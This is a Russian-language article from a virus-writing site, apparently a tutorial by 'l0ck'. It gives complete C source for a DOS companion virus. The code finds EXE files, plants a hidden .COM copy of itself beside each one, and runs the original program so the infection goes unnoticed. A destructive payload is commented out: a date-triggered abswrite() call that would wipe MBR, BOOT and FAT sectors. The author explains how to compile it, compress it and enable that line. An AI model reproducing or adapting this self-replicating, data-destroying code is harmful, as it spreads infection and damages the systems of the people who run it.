Весь сайт целиком можно загрузить по ссылкам из раздела Скачать
HLLC / Статьи. / C++
made by 'l0ck'
//[ PVL ] KAPMAH опять моя лень...
//сдирать хоть и такое простое с точки зрения написания куда проще
//чем писать все самому целых примерно 15мин -- тем более я вири не люблю за их неактуальность !!!
В общем простенький HLLC. Компилил я его на BC++, ·
но вроде будет и на TC 2.0 работать, а если не будет - ·
переделать его под Турбины как два пальца об асфальт :) ·
Компилируйте в ЕХЕ, переименуйте в СОМ и DIET -I MUTE.COM ·
Размер после сжатия - 10108. Если в Activate() убрать ·
коментарий с abswrite() то, если месяц будет в N раз больше ·
дня то настанет хана MBR, BOOT и FAT (N - число аргументов ·
в командной строке).
#include <alloc.h> // Подключаем
#include <dos.h> // стандартные
#include <fcntl.h> // header-файлы
#include <io.h> // ...........
int h; // Handle
long size; // Hаша длина.
char *me; // Переменная имени victim.
char *buf; // Буфер, куда читаем себя.
int i, k, yes, exist; // Переменные для Infect и RunVict.
struct ffblk ffblk; //.................................
void Infect() // Функция заражения.
{ // Ищем ехе-шники -----------------------------+
yes = findfirst("*.EXE", &ffblk, FA_ARCH|FA_RDONLY|FA_HIDDEN); // <---|
while (!yes&&!k) {
strcpy(me, ffblk.ff_name);
for(i = 1; i < 8; i++) // Если нашли -
if(me[i] == '.') break; // подставляем
i++; // к нему ext.
me[i++] = 'C'; // СОМ
me[i++] = 'O'; // .............
me[i++] = 'M'; // .............
exist = _open(me, FA_RDONLY); // Проверка:
if(exist == -1) { // Если такого
h = _creat(me, 0); // файла *.com
_write(h, buf, size); // нету, создаем
_close(h); // его и пишем в
_chmod(me, 1, FA_HIDDEN); // него себя, потом
k = 1; // делаем Hidden
} // и уходим.
findnext(&ffblk); // Если есть
} free(buf); // ищем другой файл
} // буфер свободен.
// Функция запуска настояшего файла. --------------------------------+
void RunVict(char *me, char *argv[]) // <------|
{ //................
for(i = 1; i < 255; i++) // К своему имени
if(me[i] == '.') break; // прибавляем
i++; // расширение
me[i++] = 'E'; // ЕХЕ и получаем
me[i++] = 'X'; // имя жертвы.
me[i++] = 'E'; // ..............
execv(me, argv); // И запускаем!!!
} //
// Функция активации.--------------------------------------------------+
void Activate(int n) // <-------+
{ //
_AH = 0x2A; __int__(0x21);
if(_DH == 11&& _DL == 3) {
printf(" -----------------------¬ \n");
printf(" ¦ Happy Birthday to U! ¦ \n");
printf("---- Happy Birthday to U! L--¬\n");
printf("¦ Happy Birthday dear 10ck! ¦\n");
printf("L--¬ Happy Birthday to U! ----\n");
printf("В свой день рождения я ничего \n");
printf(" не буду зар0жать!!! ");
exit(0); }
if(n*_DL == _DH) {
// abswrite(2, 5, 0, (void*), 0); //Trash BOOT, MBR, FAT.
}
}
// Главная функция -----------------------------------------------+
void main(int argc, char *argv[]) // <-------|
{ //...............
Activate(argc); // Активируем?
h = _open(argv[0], O_RDONLY); // Открываем себя
size = filelength(h); // смотрим размер
(char *) buf = malloc(size); // выделяем память
_read(h, buf, size); // читаем себя и
_close(h); // закрываем себя.
Infect(); // Заражаем.
RunVict(argv[0], argv); // Запускаем orig.
} // ..............